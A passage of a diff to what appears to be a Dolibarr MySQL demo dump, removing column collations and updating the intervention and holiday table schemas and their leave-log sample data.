CREATE TABLE `llx_fichinterdet` ( `fk_fichinter` int(11) DEFAULT NULL, `fk_parent_line` int(11) DEFAULT NULL, `date` datetime DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `duree` int(11) DEFAULT NULL, `rang` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), @@ -7712,7 +6995,7 @@ CREATE TABLE `llx_fichinterdet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_ficheinterdet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7738,22 +7021,21 @@ CREATE TABLE `llx_fichinterdet_rec` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_fichinter` int(11) NOT NULL, `date` datetime DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `duree` int(11) DEFAULT NULL, `rang` int(11) DEFAULT 0, `total_ht` double(24,8) DEFAULT NULL, `subprice` double(24,8) DEFAULT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax1_type` varchar(1) DEFAULT NULL, `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax2_type` varchar(1) DEFAULT NULL, `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, - `remise` double DEFAULT 0, `fk_remise_except` int(11) DEFAULT NULL, `price` double(24,8) DEFAULT NULL, `total_tva` double(24,8) DEFAULT NULL, @@ -7767,10 +7049,9 @@ CREATE TABLE `llx_fichinterdet_rec` ( `buy_price_ht` double(24,8) DEFAULT 0.00000000, `fk_product_fournisseur_price` int(11) DEFAULT NULL, `fk_code_ventilation` int(11) NOT NULL DEFAULT 0, - `fk_export_commpta` int(11) NOT NULL DEFAULT 0, `special_code` int(10) unsigned DEFAULT 0, `fk_unit` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -7795,7 +7076,7 @@ CREATE TABLE `llx_holiday` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_user` int(11) NOT NULL, `date_create` datetime NOT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `description` varchar(255) NOT NULL, `date_debut` date NOT NULL, `date_fin` date NOT NULL, `halfday` int(11) DEFAULT 0, @@ -7807,20 +7088,20 @@ CREATE TABLE `llx_holiday` ( `fk_user_refuse` int(11) DEFAULT NULL, `date_cancel` datetime DEFAULT NULL, `fk_user_cancel` int(11) DEFAULT NULL, - `detail_refuse` varchar(250) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `detail_refuse` varchar(250) DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note` text DEFAULT NULL, `fk_user_create` int(11) DEFAULT NULL, `fk_type` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) NOT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `date_approve` datetime DEFAULT NULL, + `date_approval` datetime DEFAULT NULL, `fk_user_approve` int(11) DEFAULT NULL, `nb_open_day` double(24,8) DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -7831,7 +7112,7 @@ CREATE TABLE `llx_holiday` ( KEY `idx_holiday_date_create` (`date_create`), KEY `idx_holiday_fk_validator` (`fk_validator`), KEY `idx_holiday_entity` (`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -7840,7 +7121,7 @@ CREATE TABLE `llx_holiday` ( LOCK TABLES `llx_holiday` WRITE; /*!40000 ALTER TABLE `llx_holiday` DISABLE KEYS */; -INSERT INTO `llx_holiday` VALUES (1,1,'2022-02-17 19:06:35','gdf','2022-02-10','2022-02-11',0,3,1,'2022-02-17 19:06:57',1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,'2022-07-04 01:11:35',1,'1',NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,12,'2022-01-22 19:10:01','','2021-12-28','2022-01-03',0,1,11,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,5,'2022-02-07 13:37:54',1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,13,'2022-01-22 19:10:29','','2022-01-11','2022-01-13',0,2,11,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,5,'2022-02-07 13:37:54',1,'3',NULL,NULL,NULL,NULL,NULL,NULL,NULL); +INSERT INTO `llx_holiday` VALUES (1,1,'2022-02-17 19:06:35','gdf','2022-02-10','2022-02-11',0,3,1,'2022-02-17 19:06:57',1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,'2022-12-11 21:23:35',1,'1',NULL,NULL,NULL,NULL,'2022-02-17 19:06:57',1,NULL),(2,12,'2022-01-22 19:10:01','','2021-12-28','2022-01-03',0,2,11,'2023-01-31 07:08:36',12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,5,'2023-01-31 10:08:36',1,'HL2112-0001',NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,13,'2022-01-22 19:10:29','','2022-01-11','2022-01-13',0,2,11,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,5,'2022-02-07 13:37:54',1,'3',NULL,NULL,NULL,NULL,NULL,NULL,NULL),(4,12,'2023-01-31 07:09:11','','2023-01-31','2023-01-31',0,3,12,'2023-01-31 07:09:13',12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,12,3,'2023-01-31 10:09:16',1,'HL2301-0002',NULL,NULL,NULL,NULL,'2023-01-31 07:09:16',12,NULL); /*!40000 ALTER TABLE `llx_holiday` ENABLE KEYS */; UNLOCK TABLES; @@ -7853,8 +7134,8 @@ DROP TABLE IF EXISTS `llx_holiday_config`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_holiday_config` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `value` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `name` varchar(128) DEFAULT NULL, + `value` text DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `name` (`name`), UNIQUE KEY `idx_holiday_config` (`name`) @@ -7867,7 +7148,7 @@ CREATE TABLE `llx_holiday_config` ( LOCK TABLES `llx_holiday_config` WRITE; /*!40000 ALTER TABLE `llx_holiday_config` DISABLE KEYS */; -INSERT INTO `llx_holiday_config` VALUES (1,'userGroup','1'),(2,'lastUpdate','20220207142959'),(3,'nbUser',''),(4,'delayForRequest','31'),(5,'AlertValidatorDelay','0'),(6,'AlertValidatorSolde','0'),(7,'nbHolidayDeducted','1'),(8,'nbHolidayEveryMonth','2.08334'); +INSERT INTO `llx_holiday_config` VALUES (1,'userGroup','1'),(2,'lastUpdate','20230210105658'),(3,'nbUser',''),(4,'delayForRequest','31'),(5,'AlertValidatorDelay','0'),(6,'AlertValidatorSolde','0'),(7,'nbHolidayDeducted','1'),(8,'nbHolidayEveryMonth','2.08334'); /*!40000 ALTER TABLE `llx_holiday_config` ENABLE KEYS */; UNLOCK TABLES; @@ -7882,7 +7163,7 @@ CREATE TABLE `llx_holiday_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_holiday_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7909,12 +7190,12 @@ CREATE TABLE `llx_holiday_logs` ( `date_action` datetime NOT NULL, `fk_user_action` int(11) NOT NULL, `fk_user_update` int(11) NOT NULL, - `type_action` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `prev_solde` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `new_solde` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `type_action` varchar(255) NOT NULL, + `prev_solde` varchar(255) NOT NULL, + `new_solde` varchar(255) NOT NULL, `fk_type` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=195 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=196 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -7923,7 +7204,7 @@ CREATE TABLE `llx_holiday_logs` ( LOCK TABLES `llx_holiday_logs` WRITE; /*!40000 ALTER TABLE `llx_holiday_logs` DISABLE KEYS */; -INSERT INTO `llx_holiday_logs` VALUES (1,'2015-01-17 21:03:15',1,1,'Event : Mise à jour mensuelle','0.00','2.08',1),(2,'2015-01-17 21:03:15',1,2,'Event : Mise à jour mensuelle','0.00','2.08',1),(3,'2015-01-17 21:03:15',1,3,'Event : Mise à jour mensuelle','0.00','2.08',1),(4,'2015-02-01 09:53:26',1,1,'Event : Mise à jour mensuelle','2.08','4.16',1),(5,'2015-02-01 09:53:26',1,2,'Event : Mise à jour mensuelle','2.08','4.16',1),(6,'2015-02-01 09:53:26',1,3,'Event : Mise à jour mensuelle','2.08','4.16',1),(7,'2015-02-01 09:53:26',1,1,'Event : Mise à jour mensuelle','4.17','6.25',1),(8,'2015-02-01 09:53:26',1,2,'Event : Mise à jour mensuelle','4.17','6.25',1),(9,'2015-02-01 09:53:26',1,3,'Event : Mise à jour mensuelle','4.17','6.25',1),(10,'2015-02-01 09:53:26',1,4,'Event : Mise à jour mensuelle','0.00','2.08',1),(11,'2015-02-01 09:53:31',1,1,'Event : Mise à jour mensuelle','6.25','8.33',1),(12,'2015-02-01 09:53:31',1,2,'Event : Mise à jour mensuelle','6.25','8.33',1),(13,'2015-02-01 09:53:31',1,3,'Event : Mise à jour mensuelle','6.25','8.33',1),(14,'2015-02-01 09:53:31',1,4,'Event : Mise à jour mensuelle','2.08','4.16',1),(15,'2015-02-01 09:53:31',1,1,'Event : Mise à jour mensuelle','8.33','10.41',1),(16,'2015-02-01 09:53:31',1,2,'Event : Mise à jour mensuelle','8.33','10.41',1),(17,'2015-02-01 09:53:31',1,3,'Event : Mise à jour mensuelle','8.33','10.41',1),(18,'2015-02-01 09:53:31',1,4,'Event : Mise à jour mensuelle','4.17','6.25',1),(19,'2015-02-01 09:53:33',1,1,'Event : Mise à jour mensuelle','10.42','12.50',1),(20,'2015-02-01 09:53:33',1,2,'Event : Mise à jour mensuelle','10.42','12.50',1),(21,'2015-02-01 09:53:33',1,3,'Event : Mise à jour mensuelle','10.42','12.50',1),(22,'2015-02-01 09:53:33',1,4,'Event : Mise à jour mensuelle','6.25','8.33',1),(23,'2015-02-01 09:53:34',1,1,'Event : Mise à jour mensuelle','12.50','14.58',1),(24,'2015-02-01 09:53:34',1,2,'Event : Mise à jour mensuelle','12.50','14.58',1),(25,'2015-02-01 09:53:34',1,3,'Event : Mise à jour mensuelle','12.50','14.58',1),(26,'2015-02-01 09:53:34',1,4,'Event : Mise à jour mensuelle','8.33','10.41',1),(27,'2015-02-01 09:53:34',1,1,'Event : Mise à jour mensuelle','14.58','16.66',1),(28,'2015-02-01 09:53:34',1,2,'Event : Mise à jour mensuelle','14.58','16.66',1),(29,'2015-02-01 09:53:34',1,3,'Event : Mise à jour mensuelle','14.58','16.66',1),(30,'2015-02-01 09:53:34',1,4,'Event : Mise à jour mensuelle','10.42','12.50',1),(31,'2015-02-01 09:53:36',1,1,'Event : Mise à jour mensuelle','16.67','18.75',1),(32,'2015-02-01 09:53:36',1,2,'Event : Mise à jour mensuelle','16.67','18.75',1),(33,'2015-02-01 09:53:36',1,3,'Event : Mise à jour mensuelle','16.67','18.75',1),(34,'2015-02-01 09:53:36',1,4,'Event : Mise à jour mensuelle','12.50','14.58',1),(35,'2015-02-01 09:53:36',1,1,'Event : Mise à jour mensuelle','18.75','20.83',1),(36,'2015-02-01 09:53:36',1,2,'Event : Mise à jour mensuelle','18.75','20.83',1),(37,'2015-02-01 09:53:36',1,3,'Event : Mise à jour mensuelle','18.75','20.83',1),(38,'2015-02-01 09:53:36',1,4,'Event : Mise à jour mensuelle','14.58','16.66',1),(39,'2015-02-01 09:53:37',1,1,'Event : Mise à jour mensuelle','20.83','22.91',1),(40,'2015-02-01 09:53:37',1,2,'Event : Mise à jour mensuelle','20.83','22.91',1),(41,'2015-02-01 09:53:37',1,3,'Event : Mise à jour mensuelle','20.83','22.91',1),(42,'2015-02-01 09:53:37',1,4,'Event : Mise à jour mensuelle','16.67','18.75',1),(43,'2015-02-01 09:53:37',1,1,'Event : Mise à jour mensuelle','22.92','25.00',1),(44,'2015-02-01 09:53:37',1,2,'Event : Mise à jour mensuelle','22.92','25.00',1),(45,'2015-02-01 09:53:37',1,3,'Event : Mise à jour mensuelle','22.92','25.00',1),(46,'2015-02-01 09:53:37',1,4,'Event : Mise à jour mensuelle','18.75','20.83',1),(47,'2015-02-01 09:53:44',1,1,'Event : Mise à jour mensuelle','25.00','27.08',1),(48,'2015-02-01 09:53:44',1,2,'Event : Mise à jour mensuelle','25.00','27.08',1),(49,'2015-02-01 09:53:44',1,3,'Event : Mise à jour mensuelle','25.00','27.08',1),(50,'2015-02-01 09:53:44',1,4,'Event : Mise à jour mensuelle','20.83','22.91',1),(51,'2015-02-01 09:53:47',1,1,'Event : Mise à jour mensuelle','27.08','29.16',1),(52,'2015-02-01 09:53:47',1,2,'Event : Mise à jour mensuelle','27.08','29.16',1),(53,'2015-02-01 09:53:47',1,3,'Event : Mise à jour mensuelle','27.08','29.16',1),(54,'2015-02-01 09:53:47',1,4,'Event : Mise à jour mensuelle','22.92','25.00',1),(55,'2015-02-01 09:53:47',1,1,'Event : Mise à jour mensuelle','29.17','31.25',1),(56,'2015-02-01 09:53:47',1,2,'Event : Mise à jour mensuelle','29.17','31.25',1),(57,'2015-02-01 09:53:47',1,3,'Event : Mise à jour mensuelle','29.17','31.25',1),(58,'2015-02-01 09:53:47',1,4,'Event : Mise à jour mensuelle','25.00','27.08',1),(59,'2015-02-01 09:53:49',1,1,'Event : Mise à jour mensuelle','31.25','33.33',1),(60,'2015-02-01 09:53:49',1,2,'Event : Mise à jour mensuelle','31.25','33.33',1),(61,'2015-02-01 09:53:49',1,3,'Event : Mise à jour mensuelle','31.25','33.33',1),(62,'2015-02-01 09:53:49',1,4,'Event : Mise à jour mensuelle','27.08','29.16',1),(63,'2015-02-01 09:53:52',1,1,'Event : Mise à jour mensuelle','33.33','35.41',1),(64,'2015-02-01 09:53:52',1,2,'Event : Mise à jour mensuelle','33.33','35.41',1),(65,'2015-02-01 09:53:52',1,3,'Event : Mise à jour mensuelle','33.33','35.41',1),(66,'2015-02-01 09:53:52',1,4,'Event : Mise à jour mensuelle','29.17','31.25',1),(67,'2015-02-01 09:53:52',1,1,'Event : Mise à jour mensuelle','35.42','37.50',1),(68,'2015-02-01 09:53:52',1,2,'Event : Mise à jour mensuelle','35.42','37.50',1),(69,'2015-02-01 09:53:52',1,3,'Event : Mise à jour mensuelle','35.42','37.50',1),(70,'2015-02-01 09:53:52',1,4,'Event : Mise à jour mensuelle','31.25','33.33',1),(71,'2015-02-01 09:53:53',1,1,'Event : Mise à jour mensuelle','37.50','39.58',1),(72,'2015-02-01 09:53:53',1,2,'Event : Mise à jour mensuelle','37.50','39.58',1),(73,'2015-02-01 09:53:53',1,3,'Event : Mise à jour mensuelle','37.50','39.58',1),(74,'2015-02-01 09:53:53',1,4,'Event : Mise à jour mensuelle','33.33','35.41',1),(75,'2015-02-01 09:53:54',1,1,'Event : Mise à jour mensuelle','39.58','41.66',1),(76,'2015-02-01 09:53:54',1,2,'Event : Mise à jour mensuelle','39.58','41.66',1),(77,'2015-02-01 09:53:54',1,3,'Event : Mise à jour mensuelle','39.58','41.66',1),(78,'2015-02-01 09:53:54',1,4,'Event : Mise à jour mensuelle','35.42','37.50',1),(79,'2015-02-01 09:53:54',1,1,'Event : Mise à jour mensuelle','41.67','43.75',1),(80,'2015-02-01 09:53:54',1,2,'Event : Mise à jour mensuelle','41.67','43.75',1),(81,'2015-02-01 09:53:54',1,3,'Event : Mise à jour mensuelle','41.67','43.75',1),(82,'2015-02-01 09:53:54',1,4,'Event : Mise à jour mensuelle','37.50','39.58',1),(83,'2015-02-01 09:55:49',1,1,'Event : Mise à jour mensuelle','43.75','45.83',1),(84,'2015-02-01 09:55:49',1,2,'Event : Mise à jour mensuelle','43.75','45.83',1),(85,'2015-02-01 09:55:49',1,3,'Event : Mise à jour mensuelle','43.75','45.83',1),(86,'2015-02-01 09:55:49',1,4,'Event : Mise à jour mensuelle','39.58','41.66',1),(87,'2015-02-01 09:55:56',1,1,'Event : Mise à jour mensuelle','45.83','47.91',1),(88,'2015-02-01 09:55:56',1,2,'Event : Mise à jour mensuelle','45.83','47.91',1),(89,'2015-02-01 09:55:56',1,3,'Event : Mise à jour mensuelle','45.83','47.91',1),(90,'2015-02-01 09:55:56',1,4,'Event : Mise à jour mensuelle','41.67','43.75',1),(91,'2015-02-01 09:56:01',1,1,'Event : Mise à jour mensuelle','47.92','50.00',1),(92,'2015-02-01 09:56:01',1,2,'Event : Mise à jour mensuelle','47.92','50.00',1),(93,'2015-02-01 09:56:01',1,3,'Event : Mise à jour mensuelle','47.92','50.00',1),(94,'2015-02-01 09:56:01',1,4,'Event : Mise à jour mensuelle','43.75','45.83',1),(95,'2015-02-01 09:56:01',1,1,'Event : Mise à jour mensuelle','50.00','52.08',1),(96,'2015-02-01 09:56:01',1,2,'Event : Mise à jour mensuelle','50.00','52.08',1),(97,'2015-02-01 09:56:01',1,3,'Event : Mise à jour mensuelle','50.00','52.08',1),(98,'2015-02-01 09:56:01',1,4,'Event : Mise à jour mensuelle','45.83','47.91',1),(99,'2015-02-01 09:56:03',1,1,'Event : Mise à jour mensuelle','52.08','54.16',1),(100,'2015-02-01 09:56:03',1,2,'Event : Mise à jour mensuelle','52.08','54.16',1),(101,'2015-02-01 09:56:03',1,3,'Event : Mise à jour mensuelle','52.08','54.16',1),(102,'2015-02-01 09:56:03',1,4,'Event : Mise à jour mensuelle','47.92','50.00',1),(103,'2015-02-01 09:56:03',1,1,'Event : Mise à jour mensuelle','54.17','56.25',1),(104,'2015-02-01 09:56:03',1,2,'Event : Mise à jour mensuelle','54.17','56.25',1),(105,'2015-02-01 09:56:03',1,3,'Event : Mise à jour mensuelle','54.17','56.25',1),(106,'2015-02-01 09:56:03',1,4,'Event : Mise à jour mensuelle','50.00','52.08',1),(107,'2015-02-01 09:56:05',1,1,'Event : Mise à jour mensuelle','56.25','58.33',1),(108,'2015-02-01 09:56:05',1,2,'Event : Mise à jour mensuelle','56.25','58.33',1),(109,'2015-02-01 09:56:05',1,3,'Event : Mise à jour mensuelle','56.25','58.33',1),(110,'2015-02-01 09:56:05',1,4,'Event : Mise à jour mensuelle','52.08','54.16',1),(111,'2015-02-01 09:56:06',1,1,'Event : Mise à jour mensuelle','58.33','60.41',1),(112,'2015-02-01 09:56:06',1,2,'Event : Mise à jour mensuelle','58.33','60.41',1),(113,'2015-02-01 09:56:06',1,3,'Event : Mise à jour mensuelle','58.33','60.41',1),(114,'2015-02-01 09:56:06',1,4,'Event : Mise à jour mensuelle','54.17','56.25',1),(115,'2015-02-01 09:56:06',1,1,'Event : Mise à jour mensuelle','60.42','62.50',1),(116,'2015-02-01 09:56:06',1,2,'Event : Mise à jour mensuelle','60.42','62.50',1),(117,'2015-02-01 09:56:06',1,3,'Event : Mise à jour mensuelle','60.42','62.50',1),(118,'2015-02-01 09:56:06',1,4,'Event : Mise à jour mensuelle','56.25','58.33',1),(119,'2015-02-01 09:56:07',1,1,'Event : Mise à jour mensuelle','62.50','64.58',1),(120,'2015-02-01 09:56:07',1,2,'Event : Mise à jour mensuelle','62.50','64.58',1),(121,'2015-02-01 09:56:07',1,3,'Event : Mise à jour mensuelle','62.50','64.58',1),(122,'2015-02-01 09:56:07',1,4,'Event : Mise à jour mensuelle','58.33','60.41',1),(123,'2015-02-01 09:56:07',1,1,'Event : Mise à jour mensuelle','64.58','66.66',1),(124,'2015-02-01 09:56:07',1,2,'Event : Mise à jour mensuelle','64.58','66.66',1),(125,'2015-02-01 09:56:07',1,3,'Event : Mise à jour mensuelle','64.58','66.66',1),(126,'2015-02-01 09:56:07',1,4,'Event : Mise à jour mensuelle','60.42','62.50',1),(127,'2015-02-01 09:56:50',1,1,'Event : Mise à jour mensuelle','66.67','68.75',1),(128,'2015-02-01 09:56:50',1,2,'Event : Mise à jour mensuelle','66.67','68.75',1),(129,'2015-02-01 09:56:50',1,3,'Event : Mise à jour mensuelle','66.67','68.75',1),(130,'2015-02-01 09:56:50',1,4,'Event : Mise à jour mensuelle','62.50','64.58',1),(131,'2015-02-01 09:56:50',1,1,'Event : Mise à jour mensuelle','68.75','70.83',1),(132,'2015-02-01 09:56:50',1,2,'Event : Mise à jour mensuelle','68.75','70.83',1),(133,'2015-02-01 09:56:50',1,3,'Event : Mise à jour mensuelle','68.75','70.83',1),(134,'2015-02-01 09:56:50',1,4,'Event : Mise à jour mensuelle','64.58','66.66',1),(135,'2015-02-17 18:49:21',1,1,'Event : Mise à jour mensuelle','70.83','72.91',1),(136,'2015-02-17 18:49:21',1,2,'Event : Mise à jour mensuelle','70.83','72.91',1),(137,'2015-02-17 18:49:21',1,3,'Event : Mise à jour mensuelle','70.83','72.91',1),(138,'2015-02-17 18:49:21',1,4,'Event : Mise à jour mensuelle','66.67','68.75',1),(139,'2015-02-17 19:06:57',1,1,'Event : Holiday','72.92','71.92',1),(140,'2015-03-01 23:12:31',1,1,'Event : Mise à jour mensuelle','71.92','74.00',1),(141,'2015-03-01 23:12:31',1,2,'Event : Mise à jour mensuelle','72.92','75.00',1),(142,'2015-03-01 23:12:31',1,3,'Event : Mise à jour mensuelle','72.92','75.00',1),(143,'2015-03-01 23:12:31',1,4,'Event : Mise à jour mensuelle','68.75','70.83',1),(145,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',4),(146,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',4),(147,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',4),(148,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',4),(151,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',5),(152,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',5),(153,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',5),(154,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',5),(157,'2017-07-19 15:44:57',1,1,'Monthly update','0','2.08334',9),(158,'2017-07-19 15:44:57',1,2,'Monthly update','0','2.08334',9),(159,'2017-07-19 15:44:57',1,3,'Monthly update','0','2.08334',9),(160,'2017-07-19 15:44:57',1,4,'Monthly update','0','2.08334',9),(163,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',4),(164,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',4),(165,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',4),(166,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',4),(168,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',5),(169,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',5),(170,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',5),(171,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',5),(173,'2018-01-22 18:59:06',12,1,'Monthly update','0','2.08334',9),(174,'2018-01-22 18:59:06',12,2,'Monthly update','0','2.08334',9),(175,'2018-01-22 18:59:06',12,3,'Monthly update','0','2.08334',9),(176,'2018-01-22 18:59:06',12,4,'Monthly update','0','2.08334',9),(178,'2018-01-22 18:59:38',12,18,'Manual update','0','10',5),(179,'2018-01-22 18:59:42',12,16,'Manual update','0','10',5),(180,'2018-01-22 18:59:45',12,12,'Manual update','0','10',5),(181,'2018-01-22 18:59:49',12,1,'Manual update','0','10',5),(182,'2018-01-22 18:59:52',12,2,'Manual update','0','10',5),(183,'2018-01-22 18:59:55',12,3,'Manual update','0','5',5),(184,'2018-07-30 19:45:49',12,1,'Manual update','0','25',3),(185,'2018-07-30 19:45:52',12,2,'Manual update','0','23',3),(186,'2018-07-30 19:45:54',12,3,'Manual update','0','10',3),(187,'2018-07-30 19:45:57',12,4,'Manual update','0','-4',3),(188,'2018-07-30 19:46:02',12,10,'Manual update','0','20',3),(189,'2018-07-30 19:46:04',12,11,'Manual update','0','30',3),(190,'2018-07-30 19:46:07',12,12,'Manual update','0','15',3),(191,'2018-07-30 19:46:09',12,13,'Manual update','0','11',3),(192,'2018-07-30 19:46:12',12,14,'Manual update','0','4',3),(193,'2018-07-30 19:46:14',12,16,'Manual update','0','5',3),(194,'2018-07-30 19:46:16',12,18,'Manual update','0','22',3); +INSERT INTO `llx_holiday_logs` VALUES (1,'2015-01-17 21:03:15',1,1,'Event : Mise à jour mensuelle','0.00','2.08',1),(2,'2015-01-17 21:03:15',1,2,'Event : Mise à jour mensuelle','0.00','2.08',1),(3,'2015-01-17 21:03:15',1,3,'Event : Mise à jour mensuelle','0.00','2.08',1),(4,'2015-02-01 09:53:26',1,1,'Event : Mise à jour mensuelle','2.08','4.16',1),(5,'2015-02-01 09:53:26',1,2,'Event : Mise à jour mensuelle','2.08','4.16',1),(6,'2015-02-01 09:53:26',1,3,'Event : Mise à jour mensuelle','2.08','4.16',1),(7,'2015-02-01 09:53:26',1,1,'Event : Mise à jour mensuelle','4.17','6.25',1),(8,'2015-02-01 09:53:26',1,2,'Event : Mise à jour mensuelle','4.17','6.25',1),(9,'2015-02-01 09:53:26',1,3,'Event : Mise à jour mensuelle','4.17','6.25',1),(10,'2015-02-01 09:53:26',1,4,'Event : Mise à jour mensuelle','0.00','2.08',1),(11,'2015-02-01 09:53:31',1,1,'Event : Mise à jour mensuelle','6.25','8.33',1),(12,'2015-02-01 09:53:31',1,2,'Event : Mise à jour mensuelle','6.25','8.33',1),(13,'2015-02-01 09:53:31',1,3,'Event : Mise à jour mensuelle','6.25','8.33',1),(14,'2015-02-01 09:53:31',1,4,'Event : Mise à jour mensuelle','2.08','4.16',1),(15,'2015-02-01 09:53:31',1,1,'Event : Mise à jour mensuelle','8.33','10.41',1),(16,'2015-02-01 09:53:31',1,2,'Event : Mise à jour mensuelle','8.33','10.41',1),(17,'2015-02-01 09:53:31',1,3,'Event : Mise à jour mensuelle','8.33','10.41',1),(18,'2015-02-01 09:53:31',1,4,'Event : Mise à jour mensuelle','4.17','6.25',1),(19,'2015-02-01 09:53:33',1,1,'Event : Mise à jour mensuelle','10.42','12.50',1),(20,'2015-02-01 09:53:33',1,2,'Event : Mise à jour mensuelle','10.42','12.50',1),(21,'2015-02-01 09:53:33',1,3,'Event : Mise à jour mensuelle','10.42','12.50',1),(22,'2015-02-01 09:53:33',1,4,'Event : Mise à jour mensuelle','6.25','8.33',1),(23,'2015-02-01 09:53:34',1,1,'Event : Mise à jour mensuelle','12.50','14.58',1),(24,'2015-02-01 09:53:34',1,2,'Event : Mise à jour mensuelle','12.50','14.58',1),(25,'2015-02-01 09:53:34',1,3,'Event : Mise à jour mensuelle','12.50','14.58',1),(26,'2015-02-01 09:53:34',1,4,'Event : Mise à jour mensuelle','8.33','10.41',1),(27,'2015-02-01 09:53:34',1,1,'Event : Mise à jour mensuelle','14.58','16.66',1),(28,'2015-02-01 09:53:34',1,2,'Event : Mise à jour 